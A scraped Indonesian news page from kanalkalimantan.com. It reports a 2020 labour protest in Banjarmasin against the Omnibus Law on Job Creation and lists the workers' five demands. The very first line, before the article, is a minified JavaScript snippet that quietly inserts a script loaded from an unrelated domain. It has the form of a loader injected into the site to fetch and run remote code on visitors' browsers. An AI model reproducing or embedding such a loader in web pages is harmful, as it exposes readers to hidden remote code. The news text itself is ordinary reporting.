(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

“Kami Dibohongi Negara”, Buruh di Banjarmasin Ancam Demo Kembali


KANALKALIMANTAN.COM, BANJARMASIN – Ribuan buruh yang tergabung dalam Aliansi Pekerja Buruh Banua Kalimantan Selatan menyampaikan tuntutan terkait UU Cipta Kerja, Kamis (22/10/2020) siang.

Melalui pegeras suara yang dibawa kaum pekerja tersebut, koordinator aksi Sumarlan menyampaikan poin-poin penting terkait pandangan mereka terhadap Undang-Undang yang mereka anggap tidak pro rakyat tersebut.

“Kami merasa dibohongi oleh negara dengan adanya Undang-Undang ini, jadi kami minta kepada Ketua DPRD Provinsi Kalsel untuk memfasilitasi kami agar bisa menyampaikan kegelisahan para kaum buruh di Kalsel kepada DPR RI,” kata Sumarlan.

Oleh karena itu, ia meminta agar DPRD Kalsel bisa menghadirkan perwakilan DPR RI ke Kalsel untuk berdiskusi dan membicarakan apa yang sebenarnya terjadi. “Kami minta DPRD Kalsel memfasilitasi, minimal 30 orang perwakilan dari kaum buruh untuk mendiskusikan hal ini dengan DPR RI,” ujarnya.

Selain itu, ia menegaskan bahwa selama ini pihaknya selaku masyarakat dituding menyebarkan hoaks terkait penghapusan pesangon. Ia menyebut, pemerintah mengklaim kaum buruh menyuarakan hoaks tentang penghapusan pesangun.

“Padahal kami tidak pernah mengatakan itu. Kami tahu pesangon masih ada tapi jumlahnya yang dikurangi,” imbuhnya. Jika tak diindahkan, ia menambahkan, kaum buruh di Kalimantan Selatan akan kembali menggelar demonstrasi dengan massa yang lebih banyak lagi.

“Jika tidak dihiraukan, tanggal 4 November kami akan turun ke jalan lagi,” pungkasnya. Seperti diketahui, perwakilan buruh menyampaikan 5 poin tuntutan mereka. Berikut isi tuntutan para buruh:

1. Menolak sekeras kerasnya UU Omnibus Law Cipta Kerja uang disahkan oleh DPR RI pada 5 Oktober 2020.

2. Meminta Presiden RI untuk membatallan UU Omnibus Law Cipta Kerja dengan menerbitkan Perppu dan atau mengeluarkan klaster ketenagakerjaan dari UU Omnibus Law Cipta Kerja.

3. Meminta DPRD Provinsi Kalsel untuk mendampingi aliansi buruh menyerahkan secara langsung kepada DPR RI kajian dan atau sandingan UU Omnibus Law Cipta Kerja dengan UU No 13 tahun 2013 tentang ketenagakerjaan

4. Tolak upah murah dan minta kenaikan upah minimum provinsi tahun 2021 minimal 8 persen.

5. Meminta DPR RI, DPRD Provinsi serta pemerintah pusat dan pemerintah daerah untuk tetap fokus terhadap penanganan pandemi Covid-19 dan pemulihan ekonomi pasca pandemi, bukan malah menciptakan undang-undang yang merampas hak buruh. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

5 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

7 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

7 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

9 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

11 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

12 jam ago

This website uses cookies.